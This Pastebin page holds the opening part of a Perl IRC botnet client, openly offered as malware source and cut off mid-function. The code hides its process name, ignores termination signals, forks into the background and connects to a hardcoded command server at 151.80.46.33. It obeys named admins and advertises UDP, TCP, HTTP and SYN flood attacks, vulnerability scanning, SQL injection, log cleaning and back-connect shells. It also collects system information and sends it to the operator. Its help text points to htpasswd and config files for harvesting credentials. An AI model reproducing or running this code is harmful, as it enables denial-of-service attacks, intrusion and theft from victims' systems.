API tools faq
paste
Advertisement
Guest User

perli

a guest
May 17th, 2018
290
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 80.42 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. #Perl Arhive by k0nfig
  3. ####################################
  4.  
  5. my $processo = 'https';
  6.  
  7. my $linas_max='100';
  8.  
  9. my $sleep='50';
  10.  
  11. my $cmd="";
  12.  
  13. my $id="";
  14.  
  15. ############################################
  16.  
  17. my @adms=("k0nfig","k0nnfig");
  18.  
  19. my @canais=("#pma");
  20.  
  21. my $chanpass = "marian1234";
  22.  
  23. ##Cron
  24.  
  25. $num = int rand(100000);
  26.  
  27. my $nick = "[UDP][KONFIG-BOT][PERL][A]" . $num . "";
  28.  
  29.  
  30.  
  31. #Nickname of bot
  32.  
  33. my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
  34.  
  35. "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
  36.  
  37. "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
  38.  
  39. "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
  40.  
  41. "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
  42.  
  43. "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
  44.  
  45. "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
  46.  
  47. "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
  48.  
  49. "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
  50.  
  51. "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
  52.  
  53. "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
  54.  
  55. "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
  56.  
  57. "eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw",
  58.  
  59. "fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy",
  60.  
  61. "gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie",
  62.  
  63. "grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry",
  64.  
  65. "hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez",
  66.  
  67. "ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa",
  68.  
  69. "jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz",
  70.  
  71. "jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny",
  72.  
  73. "joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze",
  74.  
  75. "juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken",
  76.  
  77. "keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas",
  78.  
  79. "kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa",
  80.  
  81. "kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux",
  82.  
  83. "lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal",
  84.  
  85. "lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny",
  86.  
  87. "lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou",
  88.  
  89. "manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max",
  90.  
  91. "mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina",
  92.  
  93. "mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw",
  94.  
  95. "monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx",
  96.  
  97. "mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc",
  98.  
  99. "musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie",
  100.  
  101. "natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip",
  102.  
  103. "ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld",
  104.  
  105. "outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal",
  106.  
  107. "pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma",
  108.  
  109. "pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz",
  110.  
  111. "quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska",
  112.  
  113. "raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta",
  114.  
  115. "rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless",
  116.  
  117. "saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor",
  118.  
  119. "servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred",
  120.  
  121. "sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn",
  122.  
  123. "slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress",
  124.  
  125. "spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj",
  126.  
  127. "stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike",
  128.  
  129. "sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone",
  130.  
  131. "tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint",
  132.  
  133. "timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme",
  134.  
  135. "tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia",
  136.  
  137. "vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara",
  138.  
  139. "vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy",
  140.  
  141. "weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman",
  142.  
  143. "wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin",
  144.  
  145. "yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou",
  146.  
  147. "zwsiew","zwsiewale");
  148.  
  149.  
  150.  
  151. my $ircname = $rircname[rand scalar @rircname];
  152.  
  153.  
  154.  
  155. chop (my $realname = $rircname[rand scalar @rircname]);
  156.  
  157.  
  158.  
  159. my $nick =$rircname[rand scalar @rircname];
  160.  
  161. #IRC name and Realname
  162.  
  163. $servidor='151.80.46.33' unless $servidor;
  164.  
  165. my $porta='6456';
  166.  
  167. ############################################
  168.  
  169. $SIG{'INT'} = 'IGNORE';
  170.  
  171. $SIG{'HUP'} = 'IGNORE';
  172.  
  173. $SIG{'TERM'} = 'IGNORE';
  174.  
  175. $SIG{'CHLD'} = 'IGNORE';
  176.  
  177. $SIG{'PS'} = 'IGNORE';
  178.  
  179. use IO::Socket;
  180.  
  181. use Socket;
  182.  
  183. use IO::Select;
  184.  
  185. chdir("/");
  186.  
  187.  
  188.  
  189. #Connect
  190.  
  191. $servidor="$ARGV[0]" if $ARGV[0];
  192.  
  193. $0="$processo"."\0"x16;;
  194.  
  195. my $pid=fork;
  196.  
  197. exit if $pid;
  198.  
  199. die "Masalah fork: $!" unless defined($pid);
  200.  
  201.  
  202.  
  203. our %irc_servers;
  204.  
  205. our %DCC;
  206.  
  207. my $dcc_sel = new IO::Select->new();
  208.  
  209. $sel_cliente = IO::Select->new();
  210.  
  211. sub sendraw {
  212.  
  213. if ($#_ == '1') {
  214.  
  215. my $socket = $_[0];
  216.  
  217. print $socket "$_[1]\n";
  218.  
  219.  
  220.  
  221. } else {
  222.  
  223. print $IRC_cur_socket "$_[0]\n";
  224.  
  225. }
  226.  
  227. }
  228.  
  229.  
  230.  
  231. sub conectar {
  232.  
  233. my $meunick = $_[0];
  234.  
  235. my $servidor_con = $_[1];
  236.  
  237. my $porta_con = $_[2];
  238.  
  239.  
  240.  
  241. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  242.  
  243. PeerPort=>$porta_con) or return(1);
  244.  
  245. if (defined($IRC_socket)) {
  246.  
  247. $IRC_cur_socket = $IRC_socket;
  248.  
  249. $IRC_socket->autoflush(1);
  250.  
  251. $sel_cliente->add($IRC_socket);
  252.  
  253. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  254.  
  255. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  256.  
  257. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  258.  
  259. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  260.  
  261. nick("$meunick");
  262.  
  263. sendraw("PASS Fuck");
  264.  
  265. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  266.  
  267. sleep 1;
  268.  
  269. }
  270.  
  271. }
  272.  
  273.  
  274.  
  275. my $line_temp;
  276.  
  277. while( 1 ) {
  278.  
  279. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  280.  
  281. select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  282.  
  283. delete($irc_servers{''}) if (defined($irc_servers{''}));
  284.  
  285. my @ready = $sel_cliente->can_read(0);
  286.  
  287. next unless(@ready);
  288.  
  289. foreach $fh (@ready) {
  290.  
  291. $IRC_cur_socket = $fh;
  292.  
  293. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  294.  
  295. $nread = sysread($fh, $msg, 4096);
  296.  
  297. if ($nread == 0) {
  298.  
  299. $sel_cliente->remove($fh);
  300.  
  301. $fh->close;
  302.  
  303. delete($irc_servers{$fh});
  304.  
  305. }
  306.  
  307. @lines = split (/\n/, $msg);
  308.  
  309. for(my $c=0; $c<= $#lines; $c++) {
  310.  
  311. $line = $lines[$c];
  312.  
  313. $line=$line_temp.$line if ($line_temp);
  314.  
  315. $line_temp='';
  316.  
  317. $line =~ s/\r$//;
  318.  
  319. unless ($c == $#lines) {
  320.  
  321. parse("$line");
  322.  
  323. } else {
  324.  
  325. if ($#lines == 0) {
  326.  
  327. parse("$line");
  328.  
  329. } elsif ($lines[$c] =~ /\r$/) {
  330.  
  331. parse("$line");
  332.  
  333. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  334.  
  335. parse("$line");
  336.  
  337. } else {
  338.  
  339. $line_temp = $line;
  340.  
  341. }
  342.  
  343. }
  344.  
  345. }
  346.  
  347. }
  348.  
  349. }
  350.  
  351.  
  352.  
  353. sub parse {
  354.  
  355. my $servarg = shift;
  356.  
  357. if ($servarg =~ /^PING \:(.*)/) {
  358.  
  359. sendraw("PONG :$1");
  360.  
  361. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  362.  
  363. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  364.  
  365. if ($args =~ /^\001VERSION\001$/) {
  366.  
  367. notice("$pn", "\001VERSION mIRC v7.25 CyberBot\001");
  368.  
  369. }
  370.  
  371. if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  372.  
  373. if ($onde eq "$meunick"){
  374.  
  375. zr("$pn", "$args");
  376.  
  377. }
  378.  
  379. #End of Connect
  380.  
  381. if ($args =~ /^(\Q$meunick\E|\-zr)\s+(.*)/ ) {
  382.  
  383. my $natrix = $1;
  384.  
  385. my $arg = $2;
  386.  
  387. if ($arg =~ /^\!(.*)/) {
  388.  
  389. ircase("$pn","$onde","$1") unless ($natrix eq "-zr" and $arg =~ /^\!nick/);
  390.  
  391. } elsif ($arg =~ /^\@(.*)/) {
  392.  
  393. $ondep = $onde;
  394.  
  395. $ondep = $pn if $onde eq $meunick;
  396.  
  397. bfunc("$ondep","$1");
  398.  
  399. } else {
  400.  
  401. zr("$onde", "$arg");
  402.  
  403. }
  404.  
  405. }
  406.  
  407. }
  408.  
  409. }
  410.  
  411. ######################### End of prefix
  412.  
  413. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  414.  
  415. if (lc($1) eq lc($meunick)) {
  416.  
  417. $meunick=$4;
  418.  
  419. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  420.  
  421. }
  422.  
  423. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  424.  
  425. nick("$meunick|".int rand(999999));
  426.  
  427. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  428.  
  429. $meunick = $2;
  430.  
  431. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  432.  
  433. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  434.  
  435. foreach my $canal (@canais) {
  436.  
  437. sendraw("JOIN $canal $chanpass");
  438.  
  439. }
  440.  
  441. }
  442.  
  443. }
  444.  
  445.  
  446.  
  447. sub bfunc {
  448.  
  449. my $printl = $_[0];
  450.  
  451. my $funcarg = $_[1];
  452.  
  453. if (my $pid = fork) {
  454.  
  455. waitpid($pid, 0);
  456.  
  457. } else {
  458.  
  459. if (fork) {
  460.  
  461. exit;
  462.  
  463. } else {
  464.  
  465.  
  466.  
  467. if ($funcarg =~ /^killme/) {
  468.  
  469. sendraw($IRC_cur_socket, "QUIT :");
  470.  
  471. $killd = "kill -9 ".fork;
  472.  
  473. system (`$killd`);
  474.  
  475. }
  476.  
  477. ######################
  478.  
  479. # Commands #
  480.  
  481. ######################
  482.  
  483. if ($funcarg =~ /^commands/) {
  484.  
  485. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[BY.ZR Perl Bot Commands List]-14@4] ");
  486.  
  487. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Hacking Based]-----14@4] ");
  488.  
  489. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3multiscan <vuln> <dork>");
  490.  
  491. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3socks5");
  492.  
  493. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sql <vuln> <dork>");
  494.  
  495. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3portscan <ip>");
  496.  
  497. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3logcleaner");
  498.  
  499. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sendmail <subject> <sender> <recipient> <message>");
  500.  
  501. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3system");
  502.  
  503. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3cleartmp");
  504.  
  505. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3rootable");
  506.  
  507. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3nmap <ip> <beginport> <endport>");
  508.  
  509. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3back <ip><port>");
  510.  
  511. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3linuxhelp");
  512.  
  513. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3cd tmp:. | for example");
  514.  
  515. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  516.  
  517. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3packetstorm");
  518.  
  519. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3milw0rm");
  520.  
  521. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  522.  
  523. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3udpflood <host> <packet size> <time>");
  524.  
  525. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3udp <host> <port> <packet size> <time>");
  526.  
  527. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3tcpflood <host> <port> <packet size> <time>");
  528.  
  529. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3httpflood <host> <time>");
  530.  
  531. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3sqlflood <host> <time>");
  532.  
  533. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  534.  
  535. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3killme");
  536.  
  537. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3join #channel");
  538.  
  539. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3part #channel");
  540.  
  541. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3reset");
  542.  
  543. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3voice <who> ");
  544.  
  545. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3owner <who> ");
  546.  
  547. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3deowner <who> ");
  548.  
  549. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3devoice <who> ");
  550.  
  551. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3halfop <who> ");
  552.  
  553. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3dehalfop <who> ");
  554.  
  555. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3op <who> ");
  556.  
  557. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3deop <who> ");
  558.  
  559. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  560.  
  561. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3msgflood <who> ");
  562.  
  563. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3dccflood <who> ");
  564.  
  565. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3ctcpflood <who> ");
  566.  
  567. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3noticeflood <who> ");
  568.  
  569. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3channelflood");
  570.  
  571. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3maxiflood <who> ");
  572.  
  573. }
  574.  
  575.  
  576.  
  577. if ($funcarg =~ /^linuxhelp/) {
  578.  
  579. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  580.  
  581. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Dir where you are : pwd");
  582.  
  583. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Start a Perl file : perl file.pl");
  584.  
  585. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Go back from dir : cd ..");
  586.  
  587. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  588.  
  589. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Show all files/dir with permissions : ls -lia");
  590.  
  591. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  592.  
  593. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  594.  
  595. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  596.  
  597. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  598.  
  599. }
  600.  
  601.  
  602.  
  603. if ($funcarg =~ /^help/) {
  604.  
  605. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  606.  
  607. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3flooding - For IRC Flooding Help");
  608.  
  609. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3irc - For IRC Bot Command Help ");
  610.  
  611. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3ddos - For DDos Command Help");
  612.  
  613. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3news - For Security News Command Help ");
  614.  
  615. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3hacking - For Hacking Command Help");
  616.  
  617. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3linuxhelp - For Linux Help");
  618.  
  619. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3extras");
  620.  
  621. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3version - For version info");
  622.  
  623. }
  624.  
  625.  
  626.  
  627. if ($funcarg =~ /^flooding/) {
  628.  
  629. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  630.  
  631. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3msgflood <who> ");
  632.  
  633. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3dccflood <who> ");
  634.  
  635. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3ctcpflood <who> ");
  636.  
  637. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3noticeflood <who> ");
  638.  
  639. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3channelflood");
  640.  
  641. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3maxiflood <who> ");
  642.  
  643. }
  644.  
  645.  
  646.  
  647. if ($funcarg =~ /^irc/) {
  648.  
  649. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  650.  
  651. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3voice <who> ");
  652.  
  653. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3owner <who> ");
  654.  
  655. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3deowner <who> ");
  656.  
  657. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3devoice <who> ");
  658.  
  659. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3halfop <who> ");
  660.  
  661. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3dehalfop <who> ");
  662.  
  663. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3op <who> ");
  664.  
  665. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3deop <who> ");
  666.  
  667. }
  668.  
  669.  
  670.  
  671. if ($funcarg =~ /^ddos/) {
  672.  
  673. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  674.  
  675. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3udpflood <host> <packet size> <time>");
  676.  
  677. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3udp <host> <port> <packet size> <time>");
  678.  
  679. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3tcpflood <host> <port> <packet size> <time>");
  680.  
  681. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3httpflood <host> <time>");
  682.  
  683. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sqlflood <host> <time>");
  684.  
  685. sendraw($IRC_cur_socket, "PRIVMSG $printl :7[14@13-----[Extras Ddos Commands]-----14@12] ");
  686.  
  687. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3syn <destip> <destport> <time in seconds>");
  688.  
  689. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sudp <host> <port> <reflection file> <threads> <time> | Requires ./50 installed");
  690.  
  691. sendraw($IRC_cur_socket, "PRIVMSG $printl :7[14@13Go to @extras to install required scripts14@12] ");
  692.  
  693.  
  694.  
  695. }
  696.  
  697.  
  698.  
  699. if ($funcarg =~ /^news/) {
  700.  
  701. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  702.  
  703. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3packetstorm");
  704.  
  705. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3milw0rm");
  706.  
  707. }
  708.  
  709.  
  710.  
  711. if ($funcarg =~ /^hacking/) {
  712.  
  713. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  714.  
  715. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3multiscan <vuln> <dork>");
  716.  
  717. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3socks5");
  718.  
  719. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3portscan <ip>");
  720.  
  721. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3logcleaner");
  722.  
  723. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sendmail <subject> <sender> <recipient> <message>");
  724.  
  725. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3system");
  726.  
  727. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3cleartmp");
  728.  
  729. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3rootable");
  730.  
  731. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3nmap <ip> <beginport> <endport>");
  732.  
  733. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3back <ip><port>");
  734.  
  735. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3linuxhelp");
  736.  
  737. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3cd tmp:. | for example");
  738.  
  739. }
  740.  
  741. if ($funcarg =~ /^extras/) {
  742.  
  743. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Extras]-----14@12] ");
  744.  
  745. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13To install these scripts you need gcc installed14@12] ");
  746.  
  747. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3install-syn Syn.c");
  748.  
  749. sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3install-50x 50x.c");
  750.  
  751. }
  752.  
  753. ######################
  754.  
  755. # End of Help #
  756.  
  757. ######################
  758.  
  759.  
  760.  
  761.  
  762.  
  763. ######################
  764.  
  765. # Commands #
  766.  
  767. ######################
  768.  
  769. if ($funcarg =~ /^system/) {
  770.  
  771. sendraw($IRC_cur_socket, "PRIVMSG $printl Come on and hit that ricky");
  772.  
  773. }
  774.  
  775. if ($funcarg =~ /^sys/) {
  776.  
  777. $uname=`uname -a`;
  778.  
  779. $uptime=`uptime`;
  780.  
  781. $ownd=`pwd`;
  782.  
  783. $distro=`cat /etc/issue`;
  784.  
  785. $id=`id`;
  786.  
  787. $un=`uname -sro`;
  788.  
  789. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  790.  
  791. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a : 7 $uname");
  792.  
  793. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime : 7 $uptime");
  794.  
  795. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses : 7 $processo");
  796.  
  797. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID : 7 $id");
  798.  
  799. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir : 7 $ownd");
  800.  
  801. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS : 7 $distro");
  802.  
  803. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner : 7 fuck");
  804.  
  805. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel : 7 #berau");
  806.  
  807. }
  808.  
  809.  
  810.  
  811. if ($funcarg =~ /^milw0rm/) {
  812.  
  813. my @ltt=();
  814.  
  815. my @bug=();
  816.  
  817. my $x;
  818.  
  819. my $page="";
  820.  
  821. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  822.  
  823. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  824.  
  825. my @r = <$socke>;
  826.  
  827. $page="@r";
  828.  
  829. close($socke);
  830.  
  831. while ($page =~ m/<title>(.*)</g){
  832.  
  833. $x = $1;
  834.  
  835. if ($x =~ /\&lt\;/) {
  836.  
  837. $x =~ s/\&lt\;/</g;
  838.  
  839. }
  840.  
  841. if ($x !~ /milw0rm/) {
  842.  
  843. push (@bug,$x);
  844.  
  845. }
  846.  
  847. }
  848.  
  849. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  850.  
